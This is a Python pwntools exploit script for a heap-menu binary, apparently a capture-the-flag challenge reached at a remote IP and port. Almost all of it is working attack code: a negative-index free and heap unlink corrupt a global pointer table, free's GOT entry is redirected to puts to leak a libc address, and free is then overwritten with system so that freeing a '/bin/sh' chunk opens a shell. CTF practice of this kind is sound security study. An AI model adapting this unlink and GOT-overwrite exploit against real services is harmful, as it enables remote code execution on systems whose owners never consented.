#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45' 
port = 44275
context.log_level = 'debug'
exe = './4-ReeHY-main'
# Load it if has exe
try:
    context.binary = exe
    elf = ELF(exe)
except Exception as e:
    print("Elf can't be load")

# load libc 
#libc = elf.libc
libc = ELF('./libc.so.6')


if local:
    io = process(exe)
else:
    io = remote(host,port, timeout=10)
#don't forget to change it
s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        ga('b *{}'.format(hex(text_base+addr)))
    else:
        ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
    # Arch:     amd64-64-little
    # RELRO:    Partial RELRO
    # Stack:    No canary found
    # NX:       NX enabled
    # PIE:      No PIE (0x3ff000)

def c(idx):
    sla("$ ", idx)

def new(size, idx, content):
    c(1)
    sla("size\n", size)
    sla("cun\n", idx)
    sa("content\n", content)

def edit(idx, content):
    c(3)
    sla("edit\n",idx)
    sa("content\n", content)

def delete(idx):
    c(2)
    sla("dele\n", idx)

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    #start here
    c("NoOne")
    addr = 0x6020E0

    new(0x80, 0, '0')
    new(0x80, 1, '1')
    delete(-2)
    payload = p32(0x100) + p32(0x80) + p32(0) + p32(0)
    new(0x10, 2, payload)

    fd = addr-0x18
    bk = addr - 0x10
    payload = flat([
        0,
        0x81,
        fd,
        bk,
        'a'*0x60,
        0x80,
        0x90
    ])
    edit(0, payload)
    delete(1)
    payload = flat([
        '0'*0x18,
        p64(0x6020f0),
        p64(1),
        p64(elf.got['free']),
        1,
        elf.got['fflush']
    ])
    edit(0, payload)
    edit(1, p64(elf.plt['puts']))
    delete(2)
    addr = uu64(r(6))
    lg("addr", addr)
    from LibcSearcher import *
    obj = LibcSearcher("fflush", addr)
    libc_base = addr - obj.dump('fflush')
    sys_addr = libc_base + obj.dump('system')
    new(0x20, 3, "/bin/sh")
    edit(0, p64(elf.got['free']))
    edit(1, p64(sys_addr))
    delete(3)
    #ga()
    ia()
if __name__ == '__main__':
    exp(host,)